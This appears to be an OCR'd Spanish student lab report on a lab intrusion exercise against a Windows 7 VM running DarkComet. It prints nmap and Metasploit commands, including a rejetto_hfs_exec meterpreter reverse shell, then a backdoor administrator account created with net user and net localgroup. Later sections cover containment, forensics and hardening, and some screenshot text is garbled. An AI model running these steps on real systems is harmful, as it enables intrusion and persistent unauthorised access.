e Maquina virtual GNS3: GNS3 (Graphic Network Simulator-3), es un simulador gréafico
de red lanzado en 2008, que permite disefiar topologias de red complejas y poner en
marcha simulaciones sobre ellas

~
X

6 Project

New project ‘ Projects library

Mew project

Mame: |Fase- intrusion |

Location: |C:\Users\a\e]a\GNSS\pro]ecrs\Fase- intrusion | | Browse... |

Open project

Open a project from dlsk‘ ‘Becent projects... ¥

Settings | | oK || Cancel

lustracion 5- Nuevo Proyecto GNS3, fuente propia (2024)

Para la guia se utiliza como nuevo proyecto nombrado Fase- Intrusion y se elabora una red que
nos permita simular la topologia de red y el ataque.
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NAT1

o

|

Swikchi kali-1

= 7y
llliEiil —p AL

Win7-SER020-X64-1

I—'ﬁl

llustracion 6- Red GNS3, fuente propia (2024)

Se agregan los sistemas operativos instalados en VirtualBox y se crea la red como se muestra en
la imagen y se verifica la conexion entre ellos.

e Configuracién de redes: Configura las redes virtuales para que ambas maquinas puedan
comunicarse entre si.

Obtenemos desde GNS3 la direccion que se va a tener por defecto las maquinas a trabajar

GN53 server wersion: 2.2.46
Release channel: 2.2

WM version: 0.15.0

Ubuntu wersion: focal

Qemu wversion: 4.2.1
Virtualization: wirtualbox
kwm

KvM support avallable: False
Uptime: up & minutes

IF: 192.168.56.101 FORT: 80

To log in using SSH: ssh gns3@192.168.56.101
Password: gns3

To launch the Web-Ui: http:/s192.168.56.101

Images and projects are stored in 'soptsgns3d’

llustracion 7- Ip GNS3, fuente propia (2024)
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Utilizamos el comando # ifconfig desde Kali Linux y podemos obtener la direccion de
red

T,RUNNING,MULTIC
netmask

64 scopeild 8x
(Ethernet)

collisions @

collisions @

lustracion 8- Ip Kali Linux, fuente propia (2024)

Para Windows podemos utilizar la herramienta de red para poder visualizar la direccion ip o con
el comando # ipconfig /all podemos visualizar por consola la direccién ip.

Detalles de |a conexién de red @

Detalles de la conexion de red:

Propiedad Valor

Sufijo DNS especificop...

Descripcidn Adaptador de escritorio Intel(R) PRO/100
Direccién fisica 08-00-27-92-30-C0

Habiltado para DHCP Si

Direccidn IPvd 192.168.122.237

Mascara de subred IPv4  255.255.255.0

Concesidn obtenida miércoles, 06 de noviembre de 2024 07:3
La concesion expira miércoles, 06 de noviembre de 2024 08:3
Puerta de enlace predet... 152.168.122.1

Servidor DHCP |Pv4 192.168.122.1

Servidor DNS |Pvd 192.168.122.1

Servidor WINS IPv4

Habilitado para MetBios ... Si

Vinculo: direccién IPvE ... fel0:4842:9ce4:4238:7858% 11
Puerta de enlace predet. ..

Servidor DNS IPvE

4 I 2

llustracion 9- Ip Windows 7, fuente propia (2024)
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e Escaneo de puertos: Utilizamos herramientas como Nmap y legion para identificar los

puertos abiertos en la maquina victima.

v 192.168.122.

[sudo] password for unad:

Starting Nmap 7.94SVN ( https
Nmap scan report for PC202006
Host is up (0.0083s latency).

237

://nmap.org ) at 2024-11-06 20:21 -05

(192.168.122.237)

Not shown: 986 closed tcp ports (reset)

PORT
80/tcp
135/tcp
139/tcp
445/tcp
554/tcp
2869/tcp
5357/tcp
10243 /tcp
49152 /tcp
49153/tcp
49154/tcp
49155/tcp
49156/tcp
49157 /tcp

MAC Address:

STATE
open
open
open
open
open
open
open
open
open
open
open
open
open
open

08:

SERVICE
http

msrpc
netbios-ssn
microsoft-ds
rtsp?

http

ad]

http

msrpc

msrpc

msrpc

msrpc

msrpc

msrpc

00:27:92:80:C0 (Oracle
Service Info: 0S: Windows; CPE: cpe:/o:

VERSION

HttpFileServer httpd 2.3

Microsoft Windows
Microsoft Windows
Microsoft Windows

Microsoft HTTPAPI
Microsoft HTTPAPI
Microsoft HTTPAPI
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows

RPC
netbios-ssn

7 - 10 microsoft-ds (workgroup:

httpd 2.0 (SSDP/UPnP)
httpd 2.0 (SSDP/UPnP)
httpd 2.0 (SSDP/UPnP)
RPC
RPC
RPC
RPC
RPC
RPC

VirtualBox virtual NIC)
microsoft:windows

WORKGROUP)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done

1 IP address (1 host up) scanned in 128.60 seconds

llustracion 10- Scaneo nmap, fuente propia (2024)

e Enumeracion de servicios: Identifica los servicios que estan en ejecucién en la maquina

victima y busca vulnerabilidades conocidas asociadas a ellos.

Por medio de la herramienta nmap se realiza la busqueda de acuerdo con los comandos

establecidos por la herramienta que nos permiten realizar la busqueda en la direccion Ip objetivo,

en este caso utilizaremos el comando # nmap -f -- script vuln 192.168.122.237, este script me

permite visualizar las diferentes vulnerabilidades que posteriormente pueden ser aprovechadas y

explotadas.

Recopilacion de informacion: Busca informacion pablica sobre la maquina victima (si fuese un

escenario real) utilizando herramientas de busqueda de shodan, censys, etc.



sudo Y vuln 192.168.122.237
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-06 20:30 -05
Nmap scan report for PC202006 (192.168.122.237)
Host is up (0.015s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: CVE:CVE-2011-3192 BID:49303
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| https://seclists.org/fulldisclosure/2011/Aug/175
| https://wmw.securityfocus.com/bid/49303
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
I_ https://waw.tenable.com/plugins/nessus/55976
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
|
|
|
|
|
|

Disclosure date: 2009-09-17
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
http://ha.ckers.org/slowloris/
http-method-tamper:
VULNERABLE:

lustracion 11-nmap vulnerabilidades, fuente propia (2024)

http://vww.imperva.com/resources/glossary/http_verb_tampering.html
http://vwww.mkit.com.ar/labs/htexploit/
i https://vwww.owasp.org/index.php/Testing_for_ HTTP_Methods_and_XST_%280WASP-CM-008%29

|

|

|

|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-fileupload-exploiter:
|
|
|
|

Couldn't find a file-type field.
_http-dombased-xss: Couldn't find any DOM based XSS.
_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

554/tcp open rtsp

2869/tcp open icslap

5357/tcp open wsdapi

10243/tcp open unknown

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49156/tcp open unknown

49157 /tcp open unknown
MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual N

results:
| _smb-vuln-ms10-054: false
_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBvl servers (msl17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1l
servers (ms17-010).

Disclosure date: 2017-03-14
References:
/technet.microsoft.com/en-us/library/security/ms17-010.aspx
/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
il https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

llustracion 12 - nmap vulnerabilidades, fuente propia (2024)

40
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Desarrollo del punto 2

A continuacion, liste y describa los datos e informacion del anexo 4 — escenario 3 que le
fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca a la

méaquina Windows.

Enumeracion de servicios: Identificamos todos los servicios en ejecucion en la maquina
comprometida. Esto nos permitio tener una idea de qué aplicaciones o procesos podrian
estar expuestos.

Anélisis de puertos abiertos: Utiliza herramientas como Nmap y legion para escanear
los puertos abiertos en la maquina. Esto nos permite identificar servicios que podrian ser
vulnerables.

Busqueda de procesos sospechosos: Revisamos la lista de procesos en ejecucion
buscando nombres de archivos o procesos asociados a DarkComet o a otros malware

conocidos.
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Desarrollo del punto 3

2. (Qué herramienta utilizo para poder identificar los fallos de seguridad de la “maquina

Windows™? ;Qué puerto abre la aplicacion especifica en el anexo?

La segunda herramienta utilizada es Legion, por lo general, la herramienta Legion viene
preinstalada con Kali Linux, pero, si necesitamos instalarla, podemos ejecutar el siguiente

comando # sudo apt-get install legion -y.

Legion es una herramienta de pruebas de penetracién de red de cddigo abierto, super extensible y

semiautomatizada que ayuda en el descubrimiento, el reconocimiento y la explotacion.

LEGION 0.4.3-T700529501 - untitled - fuss/shareflegion|

Tools
os Host
5/ 192.168.122.237 (PC202806)

lustracion 13- Legion, fuente propia (2024)

Se realiza la busqueda de acuerdo con la informacion suministrada por Nmap con la direccion ip
de nuestro sistema Windows 7 vulnerable, la direccion 192.168.122.237 donde podemos observar

en la imagen 13 los servicios que se encontraron vulnerables entre esos el puerto 1604 abierto con
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el protocolo Tcp abierto darkcomet RAT, entre los otros servicios abierto con su respectivo
protocolo

LEGION 0.4.3-1700529501 - untitled - fusr/share/legion/

File Help

Scan Brute
Hosts  Services Tools Services

Name Hos Port Protocol
darkcomet ® 192.168.122.2.. 1604 tep DarkComet RAT (**BACKDOOR**)
http

microsoft-ds

llustracion 14- Legion servicio Darcomet, fuente propia (2024)

Por servicios se selecciona el nombre darkcomet y se verifica el servicio del cual se va a
aprovechar la vulnerabilidad

PORT STATE SER W ON
1604/tcp open d Ci t D: met RAT (**BACKDOOR* )
MAC Address: @8: 7:9 (Oracle VirtualBox rtual NIC)

llustracion 15- Nmap puerto 1608, fuente propia (2024)

Con la herramienta nmap se realiza un escaneo con el puerto seleccionado y se verifica lo
arrojado por legion.

Una vez identificado el puerto y el servicio se realiza la explotacion de vulnerabilidades conocidas
Se identifica una vulnerabilidad especifica asociada a DarkComet o al sistema operativo, se intenta
explotarla para confirmar los hallazgos.
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Desarrollo del punto 4

3. Explique con sus palabras y de manera especifica como afecta el ataque a la maquina
(Windows), haga uso de gréficos para explicar el ataque.

B. Obtencion de acceso:

« Explotacion de vulnerabilidades: Una vez identificadas las vulnerabilidades, se utiliza
herramientas como Metasploit para explotarlas y obtener un acceso inicial a la maquina
victima.

msf6 > search DarkComet RAT

Matching Modules

Disclosure Date Rank Check Description
0 auxiliary/gather/darkcomet filedownloader 2012-10-08 normal No DarkComet Server Remote File Download Exploi
t

Interact with a module by name or index. For example

msf6 > use 0
msf6 auxiliary( ) > show options

Module options (auxiliary/gather/darkcomet_filedownloader):

Name Current Setting Required Description

BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts

KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-89@password)

LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server)

NEWVERSION true no Set to true if DarkComet version = 5.1, set to false if version < 5.1

RHOSTS 0.0.0.0 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
s/using-metasploit.html

RPORT 1604 yes The target port (TCP)

STORE_LOOT true no Store file in loot (will simply output file to console if set to false)

TARGETFILE no Target file to download (assumes password is set)

View the full module info with the fo, or f command.

msf6 auxiliary( ) > set RHOSTS 192.168.122.237
RHOSTS = 192.168.122.237
msf6 auxiliary( ) > set LHOST 192.168.122.226
LHOST = 192.168.122.226
msf6 auxiliary( ) > run

Running module against 192.168.122.237

.168.122.237:1604 - Could not find password in config.ini ...
2 8. .237:1604 - Storing data to loot..
ary module execution completed
msf6 auxiliary( I |

lustracion 16 -Metasploit, fuente propia (2024)

Una vez identificado el puerto y el servicio se utiliza la herramienta para la busqueda de
vulnerabilidades, en este caso utilizamos el comando #search Darkcomet para que la herramienta

nos oriente en su base de datos de exploit como podemos aprovecharla.
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En este caso nos arroja un resultado el # exploit/Windows/http/rejjeto_hfs_ejec, con su respectiva

descripcion lo que nos orienta a que podemos utilizar este exploit para nuestro ejercicio.

Posteriormente utilizamos con el comando # use 0 el exploit y se selecciona, una vez seleccionado
el exploit a utilizar lo configuramos con el comando # show options que nos emite introduccion la
direccion Ip de nuestro objetivo con el comando # set RHOST (direccion Ip), posteriormente
ejecutamos nuestro exploit con el comando run y verificamos que corra de manera correcta, como

se muestra en la ilustracion No 16

C. Escalada de privilegios:

o Buscar vulnerabilidades locales: Una vez dentro del sistema, buscamos vulnerabilidades
locales que permitan obtener privilegios de administrador.

msf6 exploit( ) > search HttpFileServer

Matching Modules

# Name Disclosure Date Rank Check Description

@ exploit/windows/http/rejetto_hfs_exec 2014-09-11 1 Yes Rejetto HEEpFileServer Remote Command Execution

Interact with a module by name or index. For example f 5 or

msf6 exploit( ) > use 0
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description

HTTPDELAY 10 no to wait before terminating web server
Proxies no chain of format type:host:port[,type:host:port][ ...
RHOSTS yes et host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-

RPORT 80 yes The target port (TCP)

SRVHOST 0.0.0.0 v The local host or network interface to listen on. This must be an address on the local
machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 ye The local port to listen on.

SSL false Negotiate SSL/TLS for outgoing connections

SSLCert Path to a custom SSL certificate (default is randomly generated)

TARGETURI / v The path of the web application

URIPATH The URI to use for this exploit (default is random)

VHOST HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC proce: yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 192.168.122.226 yes The listen address (an interface may be specified)
LPORT 4i4y yes The listen port

llustracion 17- Utilizando el exploit, fuente propia (2024)
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Ya se aprovechd la vulnerabilidad Darkcomet y al ser un servicio HttpFileServer utilizamos
el comando search HttpFileServer lo cual al realizar la busqueda nos permite encontrar un exploit
en la base de datos, utilizamos con el comando # use 0, el exploit y configuramos el mismo como

se mostro en la anterior imagen

set RHOSTS 192.168.12

L4

bTRBOK

44 — 192.168.122.237:49168) at 2024-11-06 21:55:26 -0500

o', Local\Temp\7z04FAB5573

Type Last modified Name

dir EM
0 il 5

lustracion 18-Corriendo vulnerabilidad, fuente propia (2024)

Al ejecutar el exploit se puede verificar que montamos una sesion llamada meterpreter,

mostrando el direccionamiento y los puertos que se utilizaron para crear una sesionl

Ya en la sesion se utiliza el comando #ls que nos permite verificar la lista de archivos en la sesion

que gueda alojada en la direccidon c:\user\usuario\AppData\Local\Temp

Mantenimiento del acceso:

Backdoors: Instala un backdoor en el sistema para mantener el acceso remoto
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Name

$Rec
Archi
Documer
fLo

P
P
P
P
R

Information
Users
Windo

Last modif

-0500
81
5

4096

Default User
Public

28888

Last modif

lustracion 19- Creacion de usuario Windows 7, fuente propia (2024)

Ya dentro del sistema y conociendo la ruta donde nos encontramos, nos devolvemos en la ruta
donde se encuentra la carpeta User de usuarios del sistema y creamos la carpeta con el comando

# mkdir johncastro.

A Administracién de equipos

Archive Accién  Ver Ayuda

| CHEYN 7|
(A& Administracién del equipo (loc | Nombre MNombre completo Descripcién Acciones
21 . .
4 b g—;r;amlentasjal ;'Stima %, Administrador Cuenta integrada para la administ... Usuarios -
y rogramador de tareas .
& \u’lsngr de eventos AHomeGroup.. HomeGroupUsers Cuenta integrada para el acceso d... Acciones adicionales »
#, Invitado Cuenta integrada para el acceso

» | Carpetas compartidas & hncastro
a4 #% Usuarios y grupos localy ;-J K
| Usuarios 9= usuario
| Grupes
Rendimiente
=5 Administrador de dispe,
4 =5 Almacenamiento
= Administracién de discq

: Servicios y Aplicaciones

llustracion 20- Usuario creado Windows 7, fuente propia (2024)
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Escalamos privilegios en la maquina victima con el comando #getprivs # getuit

Name

em
hnigue 1 (Named Pipe Impersonation (In Memory/Admin}).

llustracion 21- Escalada de privilegios, fuente propia (2024)

Con el comando Shell iniciamos sesién como en terminal de Windows y creamos el usuario con
el comando # net user johncastro /add

\ et user johncastro fadd
net user

Se ha completado el comando correctamente.

lustracion 22- creacion usuario Windows, fuente propia (2024)

Ya con los privilegios desde la terminal Shell en Windows se verifica el grupo con al comando #
net localgroup lo que nos muestra el listado de privilegios, posterior a verificar el grupo se
ingresa el comando # net localgroup Administradores johncastro /add, lo que nos permite escalar
los privilegios y tener un acceso completo del sistema.
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Temp\7z04FAB5 et localgroup

*Administradores
#*Duplicadores

zados
ribuidos

monitor de sistema
ndimiento
| comando corre

suario\AppDat rroup Administradores johncastro /fadd

oup Administ

llustracion 23- Creando privilegios, fuente propia (2024)

Elegir la cuenta que desee cambiar

johncastro
Administrador

usuario
Administrador

Invitado
La cuenta de invitado esta desactivada

lHustracion 24- Usuario Administrador Windows, fuente propia (2024)

Como se muestra en la ilustracion 24, se puede confirmar que se ha creado el usuario y que se le
han creado los privilegios de administrador.
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Unidad 3 - Etapa 4 Contencion de ataques informaticos

¢Que seria lo primero que indagaria y haria si llegara a encontrarse un ataque en tiempo

real? Especifique su respuesta con argumentos técnicos.

Si detectara un ataque en tiempo real en un sistema Windows 7, seria crucial actuar rapidamente
para contener la amenaza y minimizar los dafos. presentaria una serie de pasos y consideraciones

técnicas:

Aislamiento del Sistema:

o Desconectar de la red: Lo primero seria aislar el sistema comprometido de la red para
evitar la propagacion del malware a otros equipos. Desconectaria el cable de red o

desactivaria la conexion Wi-Fi.

o Desactivar servicios no esenciales: Detendria todos los servicios no esenciales para

reducir la superficie de ataque.

e Activar o verificar el firewall de Windows: Se activa o se verifica que conexiones se

pueden permitir.
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Vent: incipal del Panel d . . .
(:ztfoﬂla e s Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al equipo a

FEmETEDFRENE © i través de Internet o de una red.

caracteristica a través de

Firewall de Windows ;Como me ayuda un firewall a proteger mi equipo?
5‘ Cambiar la configuracién de :Qué son las ubicaciones de red?

notificaciones = N N 3
§ Activar o dessctivar Firewall de l a-' Redes domésticas o de trabajo (privadas) No conectado (¥)
" Windows 5 )
¥ Restaurar valores . a'l Redes piiblicas Conectado (&)

predeterminados
| Redes en lugares piblicos como aeropuertos o cafeterias
¥ Configuracion avanzada

Solucién de problemas de red Estado de Firewall de Windows: Activado
Conexiones entrantes: Bloquear todas las conexiones a los programas que
no estén en |z lista de programas permitidos
Redes publicas activas: Minguno
Estado de notificacidn: Motificarme cuande Firewall de Windows bloquee un

nueve programa

Vea también
Centro de actividades

Centro de redes y recursos
compartidos

lustracion 25 - Activar Firewall, fuente propia (2024)

Iniciar el Modo Seguro:

o Reiniciar en modo seguro: Reiniciaria el sistema en modo seguro con funciones de red.
Esto cargara un conjunto minimo de controladores y servicios, dificultando la actividad del

malware o ataque.

Analisis del Sistema:

e Buscar procesos sospechosos: Utilizaria el Administrador de tareas (Ctrl+Shift+Esc) para

identificar procesos desconocidos 0 que COnSuUMenN recursos excesivos.
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o Verificar archivos de registro: Revisaria los archivos de registro del sistema
(eventvwr.msc) para encontrar entradas relacionadas con el ataque, como intentos de
acceso no autorizados, errores de inicio de sesién o cambios en la configuracion del

sistema.

e Buscar archivos modificados: Compara los archivos del sistema con copias de seguridad
0 con un sistema limpio para identificar archivos que hayan sido modificados o afiadidos

por el malware.

Eliminar el Malware:

« Utilizar un antivirus actualizado: Ejecutaria un analisis completo del sistema con un

antivirus actualizado.

o Eliminar archivos maliciosos: Identifica y elimina los archivos maliciosos encontrados

en el analisis.

o Quitar claves de registro: Elimina las claves de registro creadas por el malware.

Restaurar el Sistema:

o Utilizar un punto de restauracion: Utilizaria un punto de restauracion creado antes de la

infeccion, restauralo para volver el sistema a un estado anterior.
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Cambiar contrasefas:

« Cambiar contrasefias de cuentas: Cambia las contrasefias de todas las cuentas que hayan
podido ser comprometidas, incluyendo las de correo electronico y otros servicios en linea,

cuentas de usuario.

Crear una contrasefia para la cuenta

usuario
Administrader

Hue*.-'a contrasefia

Confirmar contrazefia nueva

Sila contrasefia contiene letras mayusculas, debe escribirla de la misma manera cada vez que inicie sesion,
Céme crear una contrasefia segura

Escriba un indicio de contrazefia

Elindicic de contrasefia sera visible para todos los usuarios que utilicen este equipo.
;Qué es un indicic de contrasefna?

Crear contrasena H Cancelar

llustracion 26 - Crear Contrasefias, fuente propia (2024)

7. Informar y documentar:

« Documentar los pasos: Documenta todos los pasos realizados durante la investigacion y

eliminacion del malware.
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e Informar al equipo de seguridad: Informa al equipo Red Team de seguridad de la
organizacion sobre el incidente para que puedan tomar las medidas necesarias para prevenir

futuros ataques.

Consideraciones Adicionales con Windows 7:

e Vulnerabilidades conocidas: Asegurate de que Windows 7 esté actualizado con todos los

parches de seguridad disponibles.

o Software de terceros: Deshabilita o elimina cualquier software de terceros que no sea

esencial, ya que podria contener vulnerabilidades.

o Analisis forense: Si el ataque ha sido especialmente grave, realizaria un analisis forense

completo del sistema para identificar la causa raiz y prevenir futuros ataques.

Para el caso concreto se instala autopsy en la maquina que ha sido vulnerada y se verifica en los
informes que ha pasado sospechoso en nuestro sistema arrojando la instalacion del malware y la

creacioén de la cuenta de usuario.
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llustracion 27 - Informe Autopsy, fuente propia (2024)

(3more.) Q@ 14

De esta manera se logra identificar que nuestro sistema se encuentra comprometido y fue

vulnerado.

Desarrollo del punto 2

¢Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red Team, qué medidas de

hardenizacion propondria para que el ataque no se repita?

Dentro del ejercicio propuesto se realizo un ataque desde Kali Linux con un equipo Windows 7

vulnerable con DarkComet que es un potente RAT (Remote Access Trojan) que permite a

atacantes tomar el control remoto de un sistema comprometido. Al atacar el sistema Windows 7,
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que ya no cuenta con soporte oficial de Microsoft, se aprovechd las vulnerabilidades conocidas y

configuraciones por defecto que pueden ser explotadas facilmente.

Medidas de Hardenizacion Propuestas

Para prevenir ataques como DarkComet y fortalecer la seguridad de un sistema Windows 7, se

propone implementar las siguientes medidas de hardenizacion:

Actualizaciones y Mantenimiento

o Parches de seguridad: A pesar de que Windows 7 ya no recibe actualizaciones oficiales,
es fundamental instalar todos los parches de seguridad disponibles para las aplicaciones y

software instalados, especialmente aquellos con vulnerabilidades conocidas.

o Actualizaciones de antivirus: Mantener el antivirus actualizado y realizar escaneos

regulares.

o Deshabilitar servicios innecesarios: Deshabilitar servicios de Windows y aplicaciones de

terceros que no sean esenciales para reducir la superficie de ataque.
Configuracion de Red

o Firewall: Activar y configurar el firewall de Windows para bloquear puertos innecesarios

y permitir solo el trafico necesario.
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e VPN: Utilizar una VPN para cifrar el trafico de red y proteger la conexion a internet.

o Segmentacion de red: Si es posible, segmentar la red para limitar el impacto de una

posible infeccion.

N]
'ﬁ’
Fuentep

mmp———

analigis Red con base de datos de firma

I = Trafico malicioso e l_—" g}
" ———p o ———— -

] ~——
IPS Router Firef-.*ﬂlf_),_,...; Red IDS
=Trafico entrante Analisis
[Trafico—————*
N
T

llustracion 28 - Cambios en la Red, fuente propia (2024)

Controles de Acceso

o Contrasefias fuertes: Implementar politicas de contrasefias robustas, exigiendo

contraserias largas y complejas.

e Autenticacion multifactor: Utilizar la autenticacion multifactor para agregar una capa

adicional de seguridad al proceso de inicio de sesion.
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o Control de cuentas de usuario: Configurar el control de cuentas de usuario (UAC) para

solicitar permisos de administrador antes de realizar cambios en el sistema.

Seguridad Fisica

e Control de acceso fisico: Restringir el acceso fisico a los equipos para evitar

manipulaciones no autorizadas.

o Prevencién de dispositivos externos: Implementar politicas para controlar el uso de

dispositivos externos como memorias USB.

Deteccion y Respuesta a Incidentes

o Sistemas de deteccion de intrusiones (IDS): Implementar un IDS para monitorear el

trafico de red y detectar actividades sospechosas.

e Planes de respuesta a incidentes: Desarrollar un plan detallado para responder a

incidentes de seguridad de manera rapida y eficaz.

o Realizar copias de seguridad: Realizar copias de seguridad regulares de los datos

importantes para facilitar la recuperacion en caso de un ataque exitoso.

e Analisis de vulnerabilidades: Realizar analisis de vulnerabilidades periédicamente para

identificar y corregir debilidades en el sistema.
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e Monitoreo continuo: Monitorear continuamente el sistema en busca de cualquier

actividad sospechosa.

[Jisense pep—

SIGN IN

Username

Password

SIGN IN

lustracion 29 - Pfsense, fuente propia (2024)

En este ejercicio y como propuesta se instala una herramienta open source como Pfsense que nos
permite tener un firewall e Implementar un IDS para monitorear el trafico de red y detectar

actividades sospechosas.

Migracion a un Sistema Operativo Moderno
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pesar de estas medidas, la mejor manera de protegerse contra ataques como DarkComet es migrar
a un sistema operativo moderno y con soporte, como Windows 10. Los sistemas operativos mas
recientes incluyen caracteristicas de seguridad mas robustas y reciben actualizaciones de seguridad

de forma regular.

Desarrollo del punto 3

3. ¢Describa con sus palabras las diferencias entre un equipo BlueTeam y un equipo de respuesta

a incidentes informaticos?

Ambos equipos desempefian un papel crucial en la ciberseguridad, pero tienen enfoques y

responsabilidades ligeramente diferentes:

Equipo Blue Team (Equipo Azul)

o Enfoque proactivo: Se centra en la prevencion de incidentes de seguridad.

e Actividades:

o Monitoreo continuo: Vigila constantemente los sistemas y redes en busca de anomalias o

actividad sospechosa.
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o Analisis de amenazas: Identifica y evalla las amenazas potenciales que podrian afectar a

la organizacion.

o Implementacién de controles de seguridad: Configura firewalls, sistemas de deteccion

de intrusiones (IDS), y otras medidas de seguridad para proteger los sistemas.

o Capacitacion de usuarios: Educa a los empleados sobre las mejores précticas de

seguridad para reducir el riesgo de ataques.

o Objetivo principal: Mantener la seguridad de la organizacién de manera continua y

proactiva, reduciendo la probabilidad de sufrir un incidente.

Equipo de Respuesta a Incidentes Informaéticos

o Enfoque reactivo: Se activa cuando se detecta un incidente de seguridad.

e Actividades:

o Deteccidn de incidentes: Identifica y confirma la ocurrencia de un incidente de seguridad.
o Contencidn: Aisla el incidente para evitar que se propague a otros sistemas.

o Erradicacion: Elimina la amenaza y restaura los sistemas a un estado seguro.

o Analisis: Investiga el incidente para determinar su causa raiz y aprender de él.

o Recuperacion: Restaura los datos y sistemas afectados.

o Comunicacion: Informa a las partes interesadas sobre el incidente y las acciones tomadas.
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o El equipo Blue Team es como un guardia de seguridad que patrulla un edificio, buscando

posibles intrusos y tomando medidas preventivas.

e El equipo de respuesta a incidentes es como un equipo de bomberos que responde a un

incendio, conteniendo el fuego, apagandolo y evaluando los dafios.

Desarrollo del punto 4

4. ;Si dentro de un equipo Blueteam le indican que debe trabajar con CIS “;Center For Internet

Security”, usted lo utilizaria para qué fin?

El CIS (Center for Internet Security) es una organizacion sin fines de lucro que proporciona
estandares y mejores practicas de seguridad cibernética ampliamente reconocidos en la industria.
Si como miembro de un equipo Blue Team te indicaran trabajar con CIS, podrias aprovechar sus

recursos para diversos fines:

1. Establecer una Linea Base Segura:

e CIS Benchmarks: Estos benchmarks te ofrecen una guia detallada para configurar de

forma segura sistemas operativos, aplicaciones y dispositivos de red. Al utilizarlos como
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punto de partida, puedes asegurar que tu infraestructura cumple con los estandares de

seguridad mas altos.

Identificacion de vulnerabilidades: Comparando la configuracién actual de tu sistema
con los CIS Benchmarks, podrés identificar rapidamente las configuraciones que no

cumplen con las mejores practicas y, por lo tanto, son mas vulnerables a ataques.

2. Priorizar las Medidas de Seguridad:

CIS Controls: Los CIS Controls te brindan una lista priorizada de acciones defensivas que
puedes implementar para proteger tu organizacion contra las amenazas cibernéticas mas
comunes y peligrosas. Al seguir estos controles, puedes enfocar tus esfuerzos en las

medidas de seguridad mas importantes.

3. Demostrar Cumplimiento Normativo:

Marcos regulatorios: Muchos marcos regulatorios, como PCI DSS, HIPAA y NIST,
hacen referencia a los CIS Controls o Benchmarks. Al utilizar estos estandares, puedes

demostrar que tu organizacion cumple con los requisitos legales y regulatorios aplicables.

4. Mejorar la Colaboracién entre Equipos:
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e Lenguaje comun: El CIS proporciona un lenguaje comun y un marco de referencia para
que los equipos de seguridad, T1y otros departamentos se comuniquen de manera efectiva

sobre los riesgos y las medidas de seguridad.

o Mejores practicas compartidas: Al utilizar los mismos estandares, los equipos pueden

colaborar de manera mas eficiente y compartir conocimientos.

4. Validar la Eficacia de las Medidas de Seguridad:

« Evaluacion continua: Puedes utilizar los CIS Benchmarks para evaluar de forma periddica

la eficacia de tus medidas de seguridad y realizar ajustes segun sea necesario.

Desarrollo Punto 5

Explique y redacte las funciones y caracteristicas principales de lo que es un SIEM.

SIEM, acrénimo de Security Information and Event Management (Gestién de Informacion y
Eventos de Seguridad), es una solucion de software que centraliza y correlaciona datos de
seguridad de diversas fuentes en una organizacion. Imagina que es un centro de control que
monitorea constantemente tu red, buscando patrones sospechosos y alertando de posibles

amenazas.
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Funciones Principales de un SIEM:

o Recoleccién de Datos: Un SIEM recopila datos de una amplia variedad de fuentes, como

firewalls, sistemas operativos, aplicaciones, dispositivos de red y registros de seguridad.

o« Normalizacion de Datos: Transforma los datos de diferentes formatos en un formato

comun, lo que facilita su analisis y correlacion.

o Andlisis de Datos: Emplea algoritmos avanzados para analizar los datos en busca de

patrones anémalos, correlacionar eventos y detectar amenazas potenciales.

o Deteccion de Amenazas: Identifica comportamientos sospechosos, como intentos de

intrusion, malware y ataques de denegacion de servicio.

e Generacion de Alertas: Genera alertas en tiempo real cuando se detectan amenazas,

permitiendo a los equipos de seguridad responder rapidamente.

e Investigacion de Incidentes: Proporciona herramientas para investigar a fondo los

incidentes de seguridad, identificando la causa raiz y el alcance del ataque.

e Generacion de Informes: Crea informes detallados sobre el estado de seguridad de la

organizacion, las amenazas detectadas y las acciones tomadas.

Caracteristicas Principales de un SIEM:

e Consolidacion de Datos: Relne datos de multiples fuentes en una Unica plataforma.
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e Correlacion de Eventos: ldentifica relaciones entre diferentes eventos para detectar

ataques complejos.

